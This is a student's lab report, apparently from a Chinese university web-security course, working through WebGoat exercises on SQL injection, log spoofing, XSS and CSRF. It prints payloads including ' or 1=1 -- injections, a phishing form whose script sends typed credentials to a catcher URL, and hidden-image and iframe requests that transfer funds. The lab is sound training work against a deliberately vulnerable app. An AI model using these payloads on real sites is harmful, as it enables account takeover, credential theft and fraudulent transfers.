其他分享
首页 > 其他分享> > 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

作者:互联网

2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

实验目的

实验内容

- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- LAB: SQL Injection
- Phishing with XSS
- Stored XSS Attacks
- Cross Site Request Forgery
- CSRF Prompt By-Pass

实验步骤

安装Webgoat

java -jar webgoat-container-7.0.1-war-exec.jar

SQL注入攻击

  1. Numeric SQL Injection
Injection Flaws
Numeric SQL Injection
inspect Element

审查网页元素对源代码

value="101"

进行修改,在城市编号101后面添加

or 1=1

  1. Log Spoofing
Injection Flaws>Log Spoofing
webgoat%0d%0aLogin Succeeded for username: admin

,利用回车0D%和换行符%0A让其在日志中两行显示

admin <script>alert(document.cookie)</script>

,管理员可以看到弹窗的cookie信息

  1. String SQL Injection
Injection Flaws-String SQL Injection
Smith' or 1=1--

  1. LAB: SQL Injection
' or 1=1 --

,登录失败,会发现密码只有一部分输入,说明密码长度有限制。

' or 1=1 --

,登录成功

XSS攻击

  1. Phishing with XSS
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

  1. Stored XSS Attacks
<script>alert("20165210 attack succeed!");</script>Title

任意输入。提交后可发现刚创建的帖子123456

CSRF攻击

  1. Cross Site Request Forgery
<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />

,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)

  1. CSRF Prompt By-Pass
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>

实验后回答问题

  1. SQL注入攻击原理,如何防御
  1. XSS攻击的原理,如何防御
  1. CSRF攻击原理,如何防御

实验遇到的问题

  1. 下载安装包时很慢然后下载下来后出现了jdk不匹配的情况,最终调试后好了。

实验总结与体会

这次实验,我进行了多种攻击的练习,让我对这些攻击的原理有了进一步的理解,这是最后一次实验了,课程也要接近尾声了,感谢老师和学长的帮助,希望今后能更加努力。

标签:XSS,Exp9,Web,攻击,用户,2019,SQL,Injection,输入
来源: https://www.cnblogs.com/lyklyk/p/10926239.html